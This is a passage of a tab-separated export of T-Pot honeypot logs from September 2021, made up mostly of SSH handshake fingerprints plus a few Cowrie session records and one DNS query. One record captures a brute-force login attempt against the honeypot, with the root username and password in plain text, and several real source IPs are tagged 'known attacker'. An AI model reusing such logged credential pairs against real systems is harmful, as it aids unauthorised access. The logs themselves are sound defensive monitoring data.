"diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d4cecbe6cd54", "@version": "1", "timestamp": "2021-09-20T11:07:36.653657Z", "@timestamp": "2021-09-20T11:07:36.653Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23417	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:07:36.693335+03	2021-09-20 14:15:07.480471+03	{"_id": "OQbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qaz@WSX3edc$RFV] failed", "session": "de7faa434b15", "@version": "1", "password": "1qaz@WSX3edc$RFV", "username": "root", "timestamp": "2021-09-20T11:07:36.693335Z", "@timestamp": "2021-09-20T11:07:36.693Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23418	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:35.933025+03	2021-09-20 14:15:07.48247+03	{"_id": "EQbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7104, "timestamp": "2021-09-20T11:07:35.933025", "@timestamp": "2021-09-20T11:07:35.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23419	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:36.389666+03	2021-09-20 14:15:07.483471+03	{"_id": "EgbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35594, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.389666", "@timestamp": "2021-09-20T11:07:36.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23420	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:36.395731+03	2021-09-20 14:15:07.48447+03	{"_id": "EwbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47164, "timestamp": "2021-09-20T11:07:36.395731", "@timestamp": "2021-09-20T11:07:36.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23421	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:36.398527+03	2021-09-20 14:15:07.48547+03	{"_id": "FAbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44762, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.398527", "@timestamp": "2021-09-20T11:07:36.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23867	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:07:46.684834+03	2021-09-20 14:15:08.059515+03	{"_id": "2wbjAnwBvYTbRNuE9w78", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 37925, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 801483503334178, "@version": "1", "in_iface": "enp5s0", "src_port": 56116, "dest_port": 53, "timestamp": "2021-09-20T11:07:46.684834Z", "@timestamp": "2021-09-20T11:07:46.684Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
23422	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:36.48881+03	2021-09-20 14:15:07.487471+03	{"_id": "FQbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48878, "timestamp": "2021-09-20T11:07:36.488810", "@timestamp": "2021-09-20T11:07:36.488Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23423	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:36.546609+03	2021-09-20 14:15:07.48847+03	{"_id": "FgbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7384, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.546609", "@timestamp": "2021-09-20T11:07:36.546Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23424	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:36.621444+03	2021-09-20 14:15:07.48947+03	{"_id": "SwbjAnwBvYTbRNuE0g2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 39 seconds", "session": "51582960f84d", "@version": "1", "duration": 39.19363617897034, "timestamp": "2021-09-20T11:07:36.621444Z", "@timestamp": "2021-09-20T11:07:36.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
